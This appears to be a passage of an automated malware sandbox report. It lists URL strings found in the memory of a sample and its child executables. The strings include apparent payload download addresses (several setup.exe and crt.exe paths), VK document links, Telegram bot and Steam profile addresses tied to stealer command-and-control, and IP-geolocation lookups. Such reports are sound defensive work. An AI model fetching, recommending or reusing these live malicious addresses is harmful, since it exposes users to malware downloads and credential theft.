Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/jhgfdx
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/post/File_294/setup294.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/post/File_294/setup294.exer
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/p~
Source: CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/r
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/xe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/z
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.00000000010AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/:
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/?
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2412636025.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2613733095.000000000063D000.00000040.00000001.01000000.00000013.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: CHA0VZiz8y.exe, 00000000.00000003.2052702628.0000000000400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/namehttps://ipgeolocation.io/status
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A9000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.175
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.175P
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.175X
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.000000000104E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.175_
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.175c
Source: CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2140216516.00000000043F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exee
Source: CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/dll/builddoc.exersaenh.dll
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/f
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer/n
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer:80/dll/builddoc.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kurd.computer:80/dll/builddoc.exeu
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/?act=login
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/?act=logout&hash=b3a96a5acc0a409d0f&_origin=https%3A%2F%2Fvk.com&lrt=BDpxh3TFcr
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/R
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134495582.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2189147343.00000000043F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exee-
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com:80/ssl/crt.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/
Source: CHA0VZiz8y.exe, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134495582.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2144743645.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2189147343.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2140216516.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2159189354.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138181954.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2166181794.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe&
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exeV
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exexe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exexer
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exe1
Source: CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exer
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://papi.vk.com/pushsse/ruim
Source: CHA0VZiz8y.exe, 00000000.00000003.2164957983.00000000065E5000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2165595509.0000000006B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/base.3a6f1d6d.css
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/common.cb94d05c.css
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/fonts_cnt_async.4881739c.css
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/fonts_utf.7fa94ada.css
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/vkui.c63ec9ec.css
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/fonts/VKSansDisplayDemiBoldFaux.v100.woff2
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stats.vk-portal.net
Source: ogoGQsWFwF_EcodN5qF7hiVC.exe, 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199689717899
Source: CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/c909228/u863235369/docs/d41/b0e46f4b18c5/crypted.bmp?extra=9HEKPrTuifgfj
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2610251801.0000000001C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2610251801.0000000001C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://system.data.sqlite.org/
Source: ogoGQsWFwF_EcodN5qF7hiVC.exe, 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/copterwin
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.0000000001720000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2435816663.0000000005F26000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2436231362.0000000005EEB000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2636036770.0000000007B98000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2636231021.0000000008181000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2433632121.0000000001C45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com
Source: CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/browser_reports?dest=default_reports
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004C0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669807694?hash=Sn8Y90pAESSpLPWQN3oshZSPomEZcURQihWHxCR6EjD&dl=cVTIDd6TPX72
Source: CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669811786?hash=8bhjD7NgoJ7mZZEUFcsdZsXzzoRwkNFDlJU5B89faFX&dl=nQsFZJcLQzXn
Source: CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfe
Source: CHA0VZiz8y.exe, 00000000.00000003.2189316455.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/doc863235369_679584264?hash=NJcfUznJWwO5q7ao3LSYtO0mep3odX1HGIPp6Nunvkc&dl=1NxpJJ3861
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/v
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vk.com:80/z
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2610251801.0000000001C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2610251801.0000000001C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
